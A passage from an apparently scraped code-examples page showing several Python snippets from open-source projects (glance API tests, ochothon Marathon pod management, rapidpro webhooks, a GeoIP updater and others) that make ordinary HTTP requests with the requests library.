        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Create a namespace
        path = self._url('/v2/metadefs/namespaces')
        headers = self._headers({'content-type': 'application/json'})
        namespace_name = 'MyNamespace'
        resource_type_name = 'MyResourceType'
        resource_type_prefix = 'MyPrefix'
        data = jsonutils.dumps({
            "namespace": namespace_name,
            "display_name": "My User Friendly Namespace",
            "description": "My description",
            "visibility": "public",
            "protected": False,
            "owner": "The Test Owner",
            "resource_type_associations": [
                {
                    "name": resource_type_name,
                    "prefix": resource_type_prefix
                }
            ]
        })
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CREATED, response.status_code)

        # Property1 should not exist
        path = self._url('/v2/metadefs/namespaces/MyNamespace/properties'
                         '/property1')
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Create a property
        path = self._url('/v2/metadefs/namespaces/MyNamespace/properties')
        headers = self._headers({'content-type': 'application/json'})
        property_name = "property1"
        data = jsonutils.dumps(
            {
                "name": property_name,
                "type": "integer",
                "title": "property1",
                "description": "property1 description",
                "default": 100,
                "minimum": 100,
                "maximum": 30000369,
                "readonly": False,
            }
        )
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CREATED, response.status_code)

        # Attempt to insert a duplicate
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CONFLICT, response.status_code)

        # Get the property created above
        path = self._url('/v2/metadefs/namespaces/%s/properties/%s' %
                         (namespace_name, property_name))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        property_object = jsonutils.loads(response.text)
        self.assertEqual("integer", property_object['type'])
        self.assertEqual("property1", property_object['title'])
        self.assertEqual("property1 description", property_object[
            'description'])
        self.assertEqual('100', property_object['default'])
        self.assertEqual(100, property_object['minimum'])
        self.assertEqual(30000369, property_object['maximum'])

        # Get the property with specific resource type association
        path = self._url('/v2/metadefs/namespaces/%s/properties/%s%s' % (
            namespace_name, property_name, '='.join(['?resource_type',
                                                    resource_type_name])))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Get the property with prefix and specific resource type association
        property_name_with_prefix = ''.join([resource_type_prefix,
                                            property_name])
        path = self._url('/v2/metadefs/namespaces/%s/properties/%s%s' % (
            namespace_name, property_name_with_prefix, '='.join([
                '?resource_type', resource_type_name])))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        property_object = jsonutils.loads(response.text)
        self.assertEqual("integer", property_object['type'])
        self.assertEqual("property1", property_object['title'])
        self.assertEqual("property1 description", property_object[
            'description'])
        self.assertEqual('100', property_object['default'])
        self.assertEqual(100, property_object['minimum'])
        self.assertEqual(30000369, property_object['maximum'])
        self.assertFalse(property_object['readonly'])

        # Returned property should match the created property
        property_object = jsonutils.loads(response.text)
        checked_keys = set([
            u'name',
            u'type',
            u'title',
            u'description',
            u'default',
            u'minimum',
            u'maximum',
            u'readonly',
        ])
        self.assertEqual(set(property_object.keys()), checked_keys)
        expected_metadata_property = {
            "type": "integer",
            "title": "property1",
            "description": "property1 description",
            "default": '100',
            "minimum": 100,
            "maximum": 30000369,
            "readonly": False,
        }

        for key, value in expected_metadata_property.items():
            self.assertEqual(property_object[key], value, key)

        # The property should be mutable
        path = self._url('/v2/metadefs/namespaces/%s/properties/%s' %
                         (namespace_name, property_name))
        media_type = 'application/json'
        headers = self._headers({'content-type': media_type})
        property_name = "property1-UPDATED"
        data = jsonutils.dumps(
            {
                "name": property_name,
                "type": "string",
                "title": "string property",
                "description": "desc-UPDATED",
                "operators": ["<or>"],
                "default": "value-UPDATED",
                "minLength": 5,
                "maxLength": 10,
                "readonly": True,
            }
        )
        response = requests.put(path, headers=headers, data=data)
        self.assertEqual(http.OK, response.status_code, response.text)

        # Returned property should reflect the changes
        property_object = jsonutils.loads(response.text)
        self.assertEqual('string', property_object['type'])
        self.assertEqual('desc-UPDATED', property_object['description'])
        self.assertEqual('value-UPDATED', property_object['default'])
        self.assertEqual(["<or>"], property_object['operators'])
        self.assertEqual(5, property_object['minLength'])
        self.assertEqual(10, property_object['maxLength'])
        self.assertTrue(property_object['readonly'])

        # Updates should persist across requests
        path = self._url('/v2/metadefs/namespaces/%s/properties/%s' %
                         (namespace_name, property_name))
        response = requests.get(path, headers=self._headers())
        self.assertEqual('string', property_object['type'])
        self.assertEqual('desc-UPDATED', property_object['description'])
        self.assertEqual('value-UPDATED', property_object['default'])
        self.assertEqual(["<or>"], property_object['operators'])
        self.assertEqual(5, property_object['minLength'])
        self.assertEqual(10, property_object['maxLength'])

        # Deletion of property property1
        path = self._url('/v2/metadefs/namespaces/%s/properties/%s' %
                         (namespace_name, property_name))
        response = requests.delete(path, headers=self._headers())
        self.assertEqual(http.NO_CONTENT, response.status_code)

        # property1 should not exist
        path = self._url('/v2/metadefs/namespaces/%s/properties/%s' %
                         (namespace_name, property_name))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

Example 39

Project: glance
Source File: test_metadef_tags.py
View license
    def test_metadata_tags_lifecycle(self):
        # Namespace should not exist
        path = self._url('/v2/metadefs/namespaces/MyNamespace')
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Create a namespace
        path = self._url('/v2/metadefs/namespaces')
        headers = self._headers({'content-type': 'application/json'})
        namespace_name = 'MyNamespace'
        data = jsonutils.dumps({
            "namespace": namespace_name,
            "display_name": "My User Friendly Namespace",
            "description": "My description",
            "visibility": "public",
            "protected": False,
            "owner": "The Test Owner"}
        )
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CREATED, response.status_code)

        # Metadata tag should not exist
        metadata_tag_name = "tag1"
        path = self._url('/v2/metadefs/namespaces/%s/tags/%s' %
                         (namespace_name, metadata_tag_name))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Create the metadata tag
        headers = self._headers({'content-type': 'application/json'})
        response = requests.post(path, headers=headers)
        self.assertEqual(http.CREATED, response.status_code)

        # Get the metadata tag created above
        response = requests.get(path,
                                headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        metadata_tag = jsonutils.loads(response.text)
        self.assertEqual(metadata_tag_name, metadata_tag['name'])

        # Returned tag should match the created tag
        metadata_tag = jsonutils.loads(response.text)
        checked_keys = set([
            u'name',
            u'created_at',
            u'updated_at'
        ])
        self.assertEqual(checked_keys, set(metadata_tag.keys()))
        expected_metadata_tag = {
            "name": metadata_tag_name
        }

        # Simple key values
        checked_values = set([
            u'name'
        ])
        for key, value in expected_metadata_tag.items():
            if(key in checked_values):
                self.assertEqual(metadata_tag[key], value, key)

        # Try to create a duplicate metadata tag
        headers = self._headers({'content-type': 'application/json'})
        response = requests.post(path, headers=headers)
        self.assertEqual(http.CONFLICT, response.status_code)

        # The metadata_tag should be mutable
        path = self._url('/v2/metadefs/namespaces/%s/tags/%s' %
                         (namespace_name, metadata_tag_name))
        media_type = 'application/json'
        headers = self._headers({'content-type': media_type})
        metadata_tag_name = "tag1-UPDATED"
        data = jsonutils.dumps(
            {
                "name": metadata_tag_name
            }
        )
        response = requests.put(path, headers=headers, data=data)
        self.assertEqual(http.OK, response.status_code, response.text)

        # Returned metadata_tag should reflect the changes
        metadata_tag = jsonutils.loads(response.text)
        self.assertEqual('tag1-UPDATED', metadata_tag['name'])

        # Updates should persist across requests
        path = self._url('/v2/metadefs/namespaces/%s/tags/%s' %
                         (namespace_name, metadata_tag_name))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        self.assertEqual('tag1-UPDATED', metadata_tag['name'])

        # Deletion of metadata_tag_name
        path = self._url('/v2/metadefs/namespaces/%s/tags/%s' %
                         (namespace_name, metadata_tag_name))
        response = requests.delete(path, headers=self._headers())
        self.assertEqual(http.NO_CONTENT, response.status_code)

        # metadata_tag_name should not exist
        path = self._url('/v2/metadefs/namespaces/%s/tags/%s' %
                         (namespace_name, metadata_tag_name))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Create multiple tags.
        path = self._url('/v2/metadefs/namespaces/%s/tags' %
                         (namespace_name))
        headers = self._headers({'content-type': 'application/json'})
        data = jsonutils.dumps(
            {"tags": [{"name": "tag1"}, {"name": "tag2"}, {"name": "tag3"}]}
        )
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CREATED, response.status_code)

        # List out the three new tags.
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        tags = jsonutils.loads(response.text)['tags']
        self.assertEqual(3, len(tags))

        # Attempt to create bogus duplicate tag4
        data = jsonutils.dumps(
            {"tags": [{"name": "tag4"}, {"name": "tag5"}, {"name": "tag4"}]}
        )
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CONFLICT, response.status_code)

        # Verify the previous 3 still exist
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        tags = jsonutils.loads(response.text)['tags']
        self.assertEqual(3, len(tags))

Example 40

Project: threatshell
Source File: geoip.py
View license
    def update(self):

        log.debug("Requesting IP address")
        db_fnames = []
        resp = requests.get(self.ipaddr_url)
        if resp.status_code != 200:
            log.error(
                "Failed to get external IP from %s - [%d]: %s" % (
                    self.ipaddr_url,
                    resp.status_code,
                    resp.content
                )
            )
            return

        ip_addr = resp.content.strip()
        log.debug("IP Address is %s" % ip_addr)
        ip_key_md5 = md5(self.config.get("GeoIP", "LicenseKey"))
        ip_key_md5.update(ip_addr)
        ip_key_hash = ip_key_md5.hexdigest()
        log.debug("IP/Key hash is %s" % ip_key_hash)

        product_ids = self.config.get("GeoIP", "ProductIds").split(",")
        product_ids = [x.strip() for x in product_ids]

        fnames = {}
        for pid in product_ids:

            log.debug("Requesting name for product id %s..." % pid)
            resp = requests.get(self.fnames_url, params={"product_id": pid})

            if resp.status_code != 200:
                log.error(
                    "Failed to resolve %s - [%d]: %s" % (
                        self.fnames_url,
                        resp.status_code,
                        resp.content
                    )
                )
                continue

            fname = resp.content.strip()
            log.debug("Product name is %s" % fname)
            fnames[fname] = pid

        for fname in fnames.keys():

            db_hash = "0" * 32
            if self.db_hashes.get(fname) is not None:
                db_hash = self.db_hashes[fname]

            log.debug("Requesting db file %s" % fname)
            params = {
                "db_md5": db_hash,
                "challenge_md5": ip_key_hash,
                "user_id": self.config.get("GeoIP", "UserId"),
                "edition_id": fnames[fname]
            }
            resp = requests.get(self.update_url, params=params)
            if resp.status_code != 200:
                log.error(
                    "Failed to download new db file - [%d]: %s" % (
                        resp.status_code,
                        resp.content
                    )
                )
            else:
                log.debug("Downloading new db file...")
                chunk_size = 4096
                current_pattern = re.compile(
                    ".*?No new updates.*", re.IGNORECASE)
                with open("%s/%s.gz" % (self.db_path, fname), 'wb') as fd:
                    for chunk in resp.iter_content(chunk_size):
                        fd.write(chunk)

                header = open("%s/%s.gz" % (self.db_path, fname)).read(1024)
                if not current_pattern.match(header):

                    log.debug("Decompressing db file")
                    gz_istream = gzip.open(
                        "%s/%s.gz" % (self.db_path, fname), "rb")
                    ostream = open("%s/%s" % (self.db_path, fname), "wb")
                    buf = gz_istream.read(4096)
                    while buf != "":
                        ostream.write(buf)
                        buf = gz_istream.read(4096)

                    gz_istream.close()
                    ostream.close()
                    os.unlink("%s/%s.gz" % (self.db_path, fname))
                    db_fnames.append("%s/%s" % (self.db_path, fname))

                else:

                    log.debug("%s is up to date" % fname)
                    db_fnames.append("%s/%s" % (self.db_path, fname))
                    os.unlink("%s/%s.gz" % (self.db_path, fname))

        if self.g1_country_reader is None:
            self._init_readers()
        else:
            self._reset_readers()

        return db_fnames

Example 41

Project: ochothon
Source File: bump.py
View license
    def run(self):
        try:

            #
            # - we need to pass the framework master IPs around (ugly)
            #
            assert 'MARATHON_MASTER' in os.environ, '$MARATHON_MASTER not specified (check your portal pod)'
            master = choice(os.environ['MARATHON_MASTER'].split(','))
            headers = \
                {
                    'content-type': 'application/json',
                    'accept': 'application/json'
                }

            #
            # - first peek and see what pods we have
            # - they should all map to one single marathon application (abort if not)
            # - we'll use the application identifier to retrieve the configuration json later on
            #
            def _query(zk):
                replies = fire(zk, self.cluster, 'info')
                return [hints['application'] for (_, hints, _) in replies.values()]

            js = run(self.proxy, _query)
            assert len(set(js)) == 1, '%s is mapping to 2+ marathon applications' % self.cluster
            app = js[0]

            #
            # - fetch the various versions for our app
            # - we want to get hold of the most recent configuration
            #
            url = 'http://%s/v2/apps/%s/versions' % (master, app)
            reply = get(url, headers=headers)
            code = reply.status_code
            logger.debug('-> %s (HTTP %d)' % (url, code))
            assert code == 200 or code == 201, 'delete failed (HTTP %d)' % code
            js = reply.json()

            #
            # - retrieve the latest one
            # - keep the docker container configuration and the # of tasks around
            #
            last = js['versions'][0]
            url = 'http://%s/v2/apps/%s/versions/%s' % (master, app, last)
            reply = get(url, headers=headers)
            code = reply.status_code
            logger.debug('-> %s (HTTP %d)' % (url, code))
            assert code == 200 or code == 201, 'delete failed (HTTP %d)' % code
            js = reply.json()

            spec = js['container']
            tag = spec['docker']['image']
            capacity = js['instances']

            #
            # - kill all the pods using a POST /control/kill
            # - wait for them to be dead
            #
            @retry(timeout=self.timeout, pause=0)
            def _spin():
                def _query(zk):
                    replies = fire(zk, self.cluster, 'control/kill', timeout=self.timeout)
                    return [(code, seq) for seq, _, code in replies.values()]

                #
                # - fire the request one or more pods
                # - wait for every pod to report back a HTTP 410 (GONE)
                # - this means the ochopod state-machine is now idling (e.g dead)
                #
                js = run(self.proxy, _query)
                gone = sum(1 for code, _ in js if code == 410)
                assert gone == len(js), 'at least one pod is still running'
                return

            _spin()

            #
            # - grab the docker image
            # - just add a :<version> suffix (or replace it) but don't change the image  proper
            # - update the image and PUT the new configuration back
            # - marathon will then kill & re-start all the tasks
            #
            tokens = tag.split(':')
            spec['docker']['image'] = \
                '%s:%s' % (tag, self.version) if len(tokens) < 2 else '%s:%s' % (tokens[0], self.version)
            js = \
                {
                    'container': spec
                }

            url = 'http://%s/v2/apps/%s' % (master, app)
            reply = put(url, data=json.dumps(js), headers=headers)
            code = reply.status_code
            logger.debug('-> %s (HTTP %d)' % (url, code))
            logger.debug(reply.text)
            assert code == 200 or code == 201, 'update failed (HTTP %d)' % code

            #
            # - the pods should now be starting
            # - wait for all the pods to be in the 'running' mode (they are 'dead' right now)
            # - the sequence counters allocated to our new pods are returned as well
            #
            target = ['running'] if self.strict else ['stopped', 'running']
            @retry(timeout=self.timeout, pause=3, default={})
            def _spin():
                def _query(zk):
                    replies = fire(zk, self.cluster, 'info')
                    return [(hints['process'], seq) for seq, hints, _ in replies.values() if hints['process'] in target]

                js = run(self.proxy, _query)
                assert len(js) == capacity, 'not all pods running yet'
                return js

            js = _spin()
            up = [seq for _, seq in js]
            assert len(up) == capacity, '1+ pods still not up (%d/%d)' % (len(up), capacity)
            self.out['up'] = up
            self.out['ok'] = True

            logger.debug('%s : %d pods updated to version "%s"' % (self.cluster, capacity, self.version))

        except AssertionError as failure:

            logger.debug('%s : failed to bump -> %s' % (self.cluster, failure))

        except Exception as failure:

            logger.debug('%s : failed to bump -> %s' % (self.cluster, diagnostic(failure)))

Example 42

Project: ochothon
Source File: kill.py
View license
    def run(self):
        try:

            #
            # - we need to pass the framework master IPs around (ugly)
            #
            assert 'MARATHON_MASTER' in os.environ, '$MARATHON_MASTER not specified (check your portal pod)'
            master = choice(os.environ['MARATHON_MASTER'].split(','))
            headers = \
                {
                    'content-type': 'application/json',
                    'accept': 'application/json'
                }

            #
            # - kill all (or part of) the pods using a POST /control/kill
            # - wait for them to be dead
            # - warning, /control/kill will block (hence the 5 seconds timeout)
            #
            @retry(timeout=self.timeout, pause=0)
            def _spin():
                def _query(zk):
                    replies = fire(zk, self.cluster, 'control/kill', subset=self.indices, timeout=self.timeout)
                    return [(code, seq) for seq, _, code in replies.values()]

                #
                # - fire the request one or more pods
                # - wait for every pod to report back a HTTP 410 (GONE)
                # - this means the ochopod state-machine is now idling (e.g dead)
                #
                js = run(self.proxy, _query)
                gone = sum(1 for code, _ in js if code == 410)
                assert gone == len(js), 'at least one pod is still running'
                return [seq for _, seq in js]

            down = _spin()
            self.out['down'] = down
            assert down, 'the cluster is either invalid or empty'
            logger.debug('%s : %d dead pods -> %s' % (self.cluster, len(down), ', '.join(['#%d' % seq for seq in down])))

            #
            # - now peek and see what pods we have
            # - we want to know what the underlying marathon application & task are
            #
            def _query(zk):
                replies = fire(zk, self.cluster, 'info', subset=self.indices)
                return [(hints['application'], hints['task']) for _, hints, _ in replies.values()]

            js = run(self.proxy, _query)
            rollup = {key: [] for key in set([key for key, _ in js])}
            for app, task in js:
                rollup[app] += [task]

            #
            # - go through each application
            # - query the it and check how many tasks it currently has
            # - the goal is to check if we should nuke the whole application or not
            #
            for app, tasks in rollup.items():

                url = 'http://%s/v2/apps/%s/tasks' % (master, app)
                reply = get(url, headers=headers)
                code = reply.status_code
                logger.debug('%s : -> %s (HTTP %d)' % (self.cluster, url, code))
                assert code == 200, 'task lookup failed (HTTP %d)' % code
                js = reply.json()

                if len(tasks) == len(js['tasks']):

                    #
                    # - all the containers running for that application were reported as dead
                    # - issue a DELETE /v2/apps to nuke the whole thing
                    #
                    url = 'http://%s/v2/apps/%s' % (master, app)
                    reply = delete(url, headers=headers)
                    code = reply.status_code
                    logger.debug('%s : -> %s (HTTP %d)' % (self.cluster, url, code))
                    assert code == 200 or code == 204, 'application deletion failed (HTTP %d)' % code

                else:

                    #
                    # - we killed a subset of that application's pods
                    # - cherry pick the underlying tasks and delete them at once using POST v2/tasks/delete
                    #
                    js = \
                        {
                            'ids': tasks
                        }

                    url = 'http://%s/v2/tasks/delete?scale=true' % master
                    reply = post(url, data=json.dumps(js), headers=headers)
                    code = reply.status_code
                    logger.debug('-> %s (HTTP %d)' % (url, code))
                    assert code == 200 or code == 201, 'delete failed (HTTP %d)' % code

            self.out['ok'] = True

        except AssertionError as failure:

            logger.debug('%s : failed to kill -> %s' % (self.cluster, failure))

        except Exception as failure:

            logger.debug('%s : failed to kill -> %s' % (self.cluster, diagnostic(failure)))

Example 43

Project: djangopackages
Source File: builders.py
View license
def build_1(print_out=False):

    now = datetime.now()
    quarter_delta = timedelta(90)
    half_year_delta = timedelta(182)
    year_delta = timedelta(365)
    last_week = now - timedelta(7)

    SearchV2.objects.filter(created__lte=last_week).delete()
    for package in Package.objects.filter():

        obj, created = SearchV2.objects.get_or_create(
            item_type="package",
            slug=package.slug,
        )
        obj.slug_no_prefix = remove_prefix(package.slug)
        obj.clean_title = clean_title(remove_prefix(package.slug))
        obj.title = package.title
        obj.title_no_prefix = remove_prefix(package.title)
        obj.description = package.repo_description
        obj.category = package.category.title
        obj.absolute_url = package.get_absolute_url()
        obj.repo_watchers = package.repo_watchers
        obj.repo_forks = package.repo_forks
        obj.pypi_downloads = package.pypi_downloads
        obj.usage = package.usage.count()
        obj.participants = package.participants

        optional_save = False
        try:
            obj.last_committed = package.last_updated()
            optional_save = True
        except Commit.DoesNotExist:
            pass

        last_released = package.last_released()
        if last_released and last_released.upload_time:
            obj.last_released = last_released.upload_time
            optional_save = True

        if optional_save:
            obj.save()

        # Weighting part
        # Weighting part
        # Weighting part
        weight = 0
        optional_save = False

        # Read the docs!
        rtfd_url = "http://readthedocs.org/api/v1/build/{0}/".format(obj.slug)
        r = requests.get(rtfd_url)
        if r.status_code == 200:
            data = json.loads(r.content)
            if data['meta']['total_count']:
                weight += 20

        if obj.description.strip():
            weight += 20

        if obj.repo_watchers:
            weight += min(obj.repo_watchers, 20)

        if obj.repo_forks:
            weight += min(obj.repo_forks, 20)

        if obj.pypi_downloads:
            weight += min(obj.pypi_downloads / 1000, 20)

        if obj.usage:
            weight += min(obj.usage, 20)

        # Is there ongoing work or is this forgotten?
        if obj.last_committed:
            if now - obj.last_committed < quarter_delta:
                weight += 20
            elif now - obj.last_committed < half_year_delta:
                weight += 10
            elif now - obj.last_committed < year_delta:
                weight += 5

        # Is the last release less than a year old?
        last_released = obj.last_released
        if last_released:
            if now - last_released < year_delta:
                weight += 20

        if weight:
            obj.weight = weight
            obj.save()

        if print_out:
            print >> stdout, obj.slug, created

    print >> stdout, '----------------------'
    max_weight = SearchV2.objects.all()[0].weight
    increment = max_weight / 6
    for grid in Grid.objects.all():
        obj, created = SearchV2.objects.get_or_create(
            item_type="grid",
            slug=grid.slug,
        )
        obj.slug_no_prefix = remove_prefix(grid.slug)
        obj.clean_title = clean_title(remove_prefix(grid.slug))
        obj.title = grid.title
        obj.title_no_prefix = remove_prefix(grid.title)
        obj.description = grid.description
        obj.absolute_url = grid.get_absolute_url()

        weight = max_weight - increment

        if not grid.is_locked:
            weight -= increment

        if not grid.header:
            weight -= increment

        if not grid.packages.count():
            weight -= increment

        obj.weight = weight
        obj.save()

        print >> stdout, obj, created

    return SearchV2.objects.all()

Example 44

Project: rapidpro
Source File: models.py
View license
    @classmethod
    def trigger_flow_event(cls, webhook_url, flow, run, node_uuid, contact, event, action='POST', resthook=None):
        org = flow.org
        api_user = get_api_user()
        json_time = datetime_to_str(timezone.now())

        # get the results for this contact
        results = flow.get_results(contact)
        values = []

        if results and results[0]:
            values = results[0]['values']
            for value in values:
                value['time'] = datetime_to_str(value['time'])
                value['value'] = unicode(value['value'])

        # if the action is on the first node
        # we might not have an sms (or channel) yet
        channel = None
        text = None
        contact_urn = contact.get_urn()

        if event:
            text = event.text
            channel = event.channel
            contact_urn = event.contact_urn

        if channel:
            channel_id = channel.pk
        else:
            channel_id = -1

        steps = []
        for step in run.steps.prefetch_related('messages', 'broadcasts').order_by('arrived_on'):
            steps.append(dict(type=step.step_type,
                              node=step.step_uuid,
                              arrived_on=datetime_to_str(step.arrived_on),
                              left_on=datetime_to_str(step.left_on),
                              text=step.get_text(),
                              value=step.rule_value))

        data = dict(channel=channel_id,
                    relayer=channel_id,
                    flow=flow.id,
                    flow_name=flow.name,
                    flow_base_language=flow.base_language,
                    run=run.id,
                    text=text,
                    step=unicode(node_uuid),
                    phone=contact.get_urn_display(org=org, scheme=TEL_SCHEME, formatted=False),
                    contact=contact.uuid,
                    urn=unicode(contact_urn),
                    values=json.dumps(values),
                    steps=json.dumps(steps),
                    time=json_time)

        if not action:
            action = 'POST'

        webhook_event = WebHookEvent.objects.create(org=org,
                                                    event=FLOW,
                                                    channel=channel,
                                                    data=json.dumps(data),
                                                    try_count=1,
                                                    action=action,
                                                    resthook=resthook,
                                                    created_by=api_user,
                                                    modified_by=api_user)

        status_code = -1
        message = "None"
        body = None

        # webhook events fire immediately since we need the results back
        try:
            # only send webhooks when we are configured to, otherwise fail
            if not settings.SEND_WEBHOOKS:
                raise Exception("!! Skipping WebHook send, SEND_WEBHOOKS set to False")

            # no url, bail!
            if not webhook_url:
                raise Exception("No webhook_url specified, skipping send")

            # some hosts deny generic user agents, use Temba as our user agent
            if action == 'GET':
                response = requests.get(webhook_url, headers=TEMBA_HEADERS, timeout=10)
            else:
                response = requests.post(webhook_url, data=data, headers=TEMBA_HEADERS, timeout=10)

            response_text = response.text
            body = response.text
            status_code = response.status_code

            if response.status_code == 200 or response.status_code == 201:
                try:
                    response_json = json.loads(response_text)

                    # only update if we got a valid JSON dictionary or list
                    if not isinstance(response_json, dict) and not isinstance(response_json, list):
                        raise ValueError("Response must be a JSON dictionary or list, ignoring response.")

                    run.update_fields(response_json)
                    message = "Webhook called successfully."
                except ValueError as e:
                    message = "Response must be a JSON dictionary, ignoring response."

                webhook_event.status = COMPLETE
            else:
                webhook_event.status = FAILED
                message = "Got non 200 response (%d) from webhook." % response.status_code
                raise Exception("Got non 200 response (%d) from webhook." % response.status_code)

        except Exception as e:
            import traceback
            traceback.print_exc()

            webhook_event.status = FAILED
            message = "Error calling webhook: %s" % unicode(e)

        finally:
            webhook_event.save()

            # make sure our message isn't too long
            if message:
                message = message[:255]

            result = WebHookResult.objects.create(event=webhook_event,
                                                  url=webhook_url,
                                                  status_code=status_code,
                                                  body=body,
                                                  message=message,
                                                  data=urlencode(data, doseq=True),
                                                  created_by=api_user,
                                                  modified_by=api_user)

            # if this is a test contact, add an entry to our action log
            if run.contact.is_test:
                from temba.flows.models import ActionLog
                log_txt = "Triggered <a href='%s' target='_log'>webhook event</a> - %d" % (reverse('api.log_read', args=[webhook_event.pk]), status_code)
                ActionLog.create(run, log_txt, safe=True)

        return result

Example 45

Project: Habitican-Curse
Source File: content.py
View license
def GetData():
    DEBUG.Display("Please Wait...")
    resp = requests.get(RM.GET_USER_URL, headers=G.reqManager.headers)
    DEBUG.Display(" ")

    # Need some error handling here
    if resp.status_code!=200:
	return

    data = resp.json()

    # Calculate Damage to User
    while (G.content == None):
	DEBUG.Display("Fetching Content...")
	time.sleep(5)
    DEBUG.Display(" ")

    userStats = H.GetUserStats(data)
    stealth = data['stats']['buffs']['stealth']
    dailies = data['dailys']
    conBonus = max(1 - (userStats['con']*(1.0/250)), 0.1)
    dailies = ([dailies]) if type(dailies) != list else dailies
    userDamage = 0
    partyDamage = 0
    userDamageBoss = 0

    party = data['party']
    quest = party.get('quest', {})
    if quest != {}:
	questDetails = G.content.Quest(quest['key'])
	userDamageBoss = math.floor(quest['progress']['up']*10)/10

    dailiesIncomplete = 0

    for daily in dailies:
	if not H.isDueDaily(daily) or daily['completed']:
	    continue

        dailiesIncomplete += 1
	if stealth > 0:
	    stealth -= 1
	    continue

	checklist = daily['checklist']
        done = len([i for i in checklist if i['completed']])
        total = len(checklist)
	checklistProportionDone = 0.0

	if total > 0:
	    checklistProportionDone = (done*1.0)/total

	damage = 0.9747**(EffectiveValueTask(daily['value']))
	damage = damage*(1 - checklistProportionDone)

	# Due To Boss
	if quest != {}:
	    bossDamage = damage
	    if questDetails.has_key('boss'):
		if daily['priority'] < 1:
		    bossDamage *= daily['priority']

		partyDamage += bossDamage * questDetails['boss']['str']


	userDamage += damage * conBonus * daily['priority'] * 2
    
    userDamage += partyDamage

    userDamage = math.ceil(userDamage*10)/10
    partyDamage = math.ceil(partyDamage*10)/10
    data_items = ["Current Health: "+str(G.user.hp), "Dailies Incomplete: "+str(dailiesIncomplete), "Est. Damage to You: "+str(userDamage), "Est. Damage to Party: "+str(partyDamage), 
	          "Est. Damage to Boss: "+str(userDamageBoss)]

    # Collection statistics if it is a collect quest
    if questDetails.has_key('collect'):
	disp_string = "You have found "
	for (key, value) in quest['progress']['collect'].items():
	    disp_string += str(value) + " " + questDetails['collect'][key]['text'] + " "
	data_items += [disp_string]


    data_items = [M.SimpleTextItem(i) for i in data_items]

    G.screen.SaveInRegister(1)
    dataMenu = M.SimpleTextMenu(data_items, C.SCR_TEXT_AREA_LENGTH)
    dataMenu.SetXY(C.SCR_FIRST_HALF_LENGTH, 5) 
    dataMenu.Display()
    dataMenu.Input()
    G.screen.RestoreRegister(1)

Example 46

View license
def package_dict(var_file):
    """Process variable file for Python requirements.

    :param var_file: ``str`` path to yaml file.
    """
    LOG.debug('Opening [ %s ]', var_file)
    with open(var_file, 'rb') as f:
        package_vars = yaml.safe_load(f.read())

    pip_pkgs = package_vars.get('service_pip_dependencies')
    if pip_pkgs:
        requirements_parse(pkgs=pip_pkgs)

    git_repo = package_vars.get('git_repo')
    if git_repo:
        if git_repo not in GIT_REPOS:
            GIT_REPOS.append(git_repo)

        LOG.debug('Building git type package [ %s ]', git_repo)
        git_url = urlparse.urlsplit(git_repo)
        repo_name = os.path.basename(git_url.path)
        repo = PYTHON_PACKAGES['from_git'][repo_name] = {}
        repo['branch'] = package_vars.get('git_install_branch', 'master')
        repo['full_url'] = git_repo
        repo['project'] = repo_name

        setup_file = None
        for k, v in GIT_REQUIREMENTS_MAP.iteritems():
            if k in git_repo:
                requirements_request = v % {
                    'path': git_url.path.lstrip('/'),
                    'file': package_vars.get(
                        'requirements_file', 'requirements.txt'
                    ),
                    'branch': repo['branch']
                }
                req = requests.get(requirements_request)
                if req.status_code == 200:
                    requirements = [
                        i.split()[0] for i in req.text.splitlines()
                        if i
                        if not i.startswith('#')
                    ]
                    repo['requirements'] = requirements
                    requirements_parse(pkgs=requirements)

                setup_request = v % {
                    'path': git_url.path.lstrip('/'),
                    'file': 'setup.py',
                    'branch': repo['branch']
                }
                setup = requests.head(setup_request)
                if setup.status_code == 200:
                    setup_file = True
                break

        git_req = 'git+%[email protected]%s'
        known_release = PYTHON_PACKAGES['known_release']
        if setup_file is True:
            known_release[repo_name] = git_req % (
                repo['full_url'], repo['branch']
            )

        git_repo_plugins = package_vars.get('git_repo_plugins')
        if git_repo_plugins:
            for grp in git_repo_plugins:
                LOG.debug(
                    'Building git type package with plugins [ %s ]',
                    git_repo_plugins
                )
                plugin = '%s/%s' % (
                    grp['path'].strip('/'),
                    grp['package'].lstrip('/')
                )
                known_release[grp['package']] = git_req % (
                    git_url.geturl(),
                    '%s#egg=%s&subdirectory=%s' % (
                        repo['branch'],
                        grp['package'].strip('/'),
                        plugin
                    )
                )

Example 47

Project: wanish
Source File: __init__.py
View license
    def perform_url(self, url):
        """
        Perform an article document by designated url

        :param url: web-page url of the document
        """
        self.url = url
        self.title = self.image_url = self.language = self.description = \
            self.clean_html = self.error_msg = self._charset = None

        if not self.url:
            self.error_msg = 'Empty or null URL to perform'
            return

        # get the page (bytecode)
        try:
            web_page = requests.get(self.url, headers=self._headers)

            # perform http status codes
            if web_page.status_code not in [200, 301, 302]:
                self.error_msg = str('HTTP error. Status: %s' % web_page.status_code)
                return

            self.url = web_page.url

            raw_html = web_page.content

            # getting content_type from headers to obtain encoding, will use it if it is not specified on page
            page_encodings = get_encodings(raw_html)

            if len(page_encodings) > 0:
                self._charset = page_encodings[0]
            elif web_page.encoding is not None:
